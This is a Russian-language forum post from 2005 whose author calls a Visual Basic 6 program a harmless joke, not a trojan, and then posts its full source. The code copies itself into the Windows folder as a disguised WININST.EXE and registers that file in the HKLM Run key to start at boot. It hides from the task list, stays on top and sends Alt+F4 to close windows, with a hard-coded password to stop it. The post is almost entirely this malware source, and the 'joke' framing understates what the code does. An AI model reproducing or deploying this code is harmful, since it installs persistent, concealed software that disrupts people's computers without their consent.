 HugoFlex » 08.06.2005 (Ср) 21:05
 HugoFlex » 08.06.2005 (Ср) 21:05 
			
			Я так и знал, что вы подумаете что это троян. На самом деле это программа совсем как ни троян. А просто программа шутка. Программа убивает открытые окна, пока не введете пароль. Вот код этой программы:
- Код: Выделить всё
- Private Sub Form_Load()
 Dim src As String
 Dim dest As String
 
 If App.Path <> Environ("windir") Then
 
 src = App.Path & IIf(Right(App.Path, 1) = "\", "", "\") & App.EXEName & ".exe"
 dest = Environ("windir") & "\" & "WININST.EXE"
 FileCopy src, dest
 End If
 
 Set Reg = CreateObject("WScript.Shell")
 Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WININST.EXE", Environ("windir") & "\" & "WININST.EXE"
 
 bytTick = 255
 App.TaskVisible = False
 p = 0
 Call SetFormPosition(Me.hwnd, True)
 End Sub
 
 Private Sub cmdEnter_Click()
 If UCase(Text1.Text) = "PASSWORD" And UCase(Text2.Text) = "I'M REALY LAMER!" Then
 c = "Your login and password is correct"
 Timer3.Enabled = True
 Timer2.Enabled = True
 Timer1.Enabled = True
 ElseIf UCase(Text1.Text) = "PASSWORD" And UCase(Text2.Text) <> "I'M REALY LAMER!" Then
 c = "Your password is wrong"
 Timer2.Enabled = True
 Beep
 ElseIf UCase(Text1.Text) <> "PASSWORD" And UCase(Text2.Text) = "I'M REALY LAMER!" Then
 c = "Your login is incorrect"
 Timer2.Enabled = True
 Beep
 Else
 c = "Your login and password is worng"
 Timer2.Enabled = True
 Beep
 End If
 End Sub
 
 Private Sub Timer1_Timer()
 Call SetTransparent(hwnd, bytTick)
 bytTick = bytTick - 1
 If bytTick = 0 Then Unload Me
 End Sub
 
 Private Sub Timer2_Timer()
 p = p + 1
 If p Mod 2 = 0 Then
 lblScroller.Caption = c
 Else
 lblScroller.Caption = ""
 End If
 
 If p = 20 Then
 lblScroller.Caption = ""
 Timer2.Enabled = False
 p = 0
 End If
 End Sub
 
 Private Sub Timer3_Timer()
 If GetActiveWindow <> Me.hwnd Then
 SetTransparent hwnd, 127
 Else
 SetTransparent hwnd, 255
 End If
 
 On Error GoTo errorer
 SendKeys "%{F4}"
 errorer:
 End Sub
Выводы делайте сами. 

Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.